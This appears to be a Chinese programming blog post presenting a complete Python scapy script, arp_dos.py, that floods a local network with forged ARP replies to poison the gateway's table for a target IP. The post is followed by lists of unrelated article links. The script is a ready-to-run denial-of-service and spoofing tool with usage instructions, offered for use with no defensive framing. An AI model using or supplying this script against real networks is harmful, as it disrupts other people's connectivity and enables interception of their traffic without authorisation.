python写的ARP攻击代码实例


Posted in Python onJune 04, 2014

注:使用这个脚本需要安装scapy 包
最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题

#coding:utf-8
#example :sudo  python arp_dos.py  192.168.1.103
from scapy.all import ARP,send
import os,re,sys
def get_gateway_ip():
    t=os.popen('route -n')
    for i in t:
        if i.startswith('0.0.0.0'):
            r=re.split("\s+",i)
            return r[1]
def get_gateway_hw(ip):
    t=os.popen('arp -e %s' % ip)
    for i in t:
        if i.startswith(ip):
            r=re.split("\s+",i)
            return r[2]
def hack(hackip):
    ip=get_gateway_ip()
    hw=get_gateway_hw(ip)
    arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)
    #os.popen('ifconfig eth0 %s' % hackip )
    while 1:
        send(arp)
def help():
    print ("USEAGE: sudo python arp_dos.py 192.168.1.100")
def main():
    if len(sys.argv) != 2:
        help()
    else:
        hack(sys.argv[1])
if __name__=="__main__":
    main()
Python 相关文章推荐
Python切换pip安装源的方法详解
Nov 18 Python
Selenium chrome配置代理Python版的方法
Nov 29 Python
Python Pandas分组聚合的实现方法
Jul 02 Python
Python代理IP爬虫的新手使用教程
Sep 05 Python
通过实例了解python property属性
Nov 01 Python
opencv3/Python 稠密光流calcOpticalFlowFarneback详解
Dec 11 Python
实现Python与STM32通信方式
Dec 18 Python
django有外键关系的两张表如何相互查找
Feb 10 Python
Pycharm 安装 idea VIM插件的图文教程详解
Feb 21 Python
python使用pyecharts库画地图数据可视化的实现
Mar 25 Python
Django 如何使用日期时间选择器规范用户的时间输入示例代码详解
May 22 Python
浅谈keras中的batch_dot,dot方法和TensorFlow的matmul
Jun 18 Python
python和C语言混合编程实例
Jun 04 #Python
python实现的一个p2p文件传输实例
Jun 04 #Python
python实现文件分组复制到不同目录的例子
Jun 04 #Python
python实现的udp协议Server和Client代码实例
Jun 04 #Python
Python实现同时兼容老版和新版Socket协议的一个简单WebSocket服务器
Jun 04 #Python
Python程序员鲜为人知但你应该知道的17个问题
Jun 04 #Python
Python和Ruby中each循环引用变量问题(一个隐秘BUG?)
Jun 04 #Python
You might like
一个简单的自动发送邮件系统(一)
2006/10/09 PHP
php上传文件常见问题总结
2015/02/03 PHP
最准确的php截取字符串长度函数
2015/10/29 PHP
PHP处理数组和XML之间的互相转换
2016/06/02 PHP
轻松掌握php设计模式之访问者模式
2016/09/23 PHP
jQuery循环滚动新闻列表示例代码
2014/06/17 Javascript
使用jsonp完美解决跨域问题
2014/11/27 Javascript
JavaScript实现select添加option
2015/07/03 Javascript
如何处理JSON中的特殊字符
2016/11/30 Javascript
微信小程序 地图map详解及简单实例
2017/01/10 Javascript
vuejs2.0运用原生js实现简单的拖拽元素功能示例
2017/02/24 Javascript
AngularJs每天学习之总体介绍
2017/08/07 Javascript
jQuery选择器之属性筛选选择器用法详解
2017/09/19 jQuery
Vue2.0仿饿了么webapp单页面应用详细步骤
2018/07/08 Javascript
微信小程序使用scroll-view标签实现自动滑动到底部功能的实例代码
2018/11/09 Javascript
详解vue组件中使用路由方法
2019/02/12 Javascript
js实现的格式化数字和金额功能简单示例
2019/07/30 Javascript
vue项目初始化到登录login页面的示例
2019/10/31 Javascript
微信小程序实现横向滚动导航栏效果
2019/12/12 Javascript
[06:25]DOTA2英雄梦之声_第17期_大地之灵
2014/06/20 DOTA
[01:19:23]2018DOTA2亚洲邀请赛 4.5 淘汰赛 Mineski vs VG 第二场
2018/04/06 DOTA
TensorFlow平台下Python实现神经网络
2018/03/10 Python
python3 中文乱码与默认编码格式设定方法
2018/10/31 Python
使用python绘制3维正态分布图的方法
2018/12/29 Python
python linecache 处理固定格式文本数据的方法
2019/01/08 Python
Python mutiprocessing多线程池pool操作示例
2019/01/30 Python
Pytorch卷积层手动初始化权值的实例
2019/08/17 Python
python上传时包含boundary时的解决方法
2020/04/08 Python
Python run()函数和start()函数的比较和差别介绍
2020/05/03 Python
python Zmail模块简介与使用示例
2020/12/19 Python
Charles & Colvard官网:美国莫桑石品牌
2019/06/05 全球购物
留学推荐信写作指南
2014/01/25 职场文书
咖啡馆创业计划书
2014/01/26 职场文书
公司运动会策划方案
2014/05/25 职场文书
物联网工程专业推荐信
2014/09/08 职场文书
计算机实训报告范文
2014/11/05 职场文书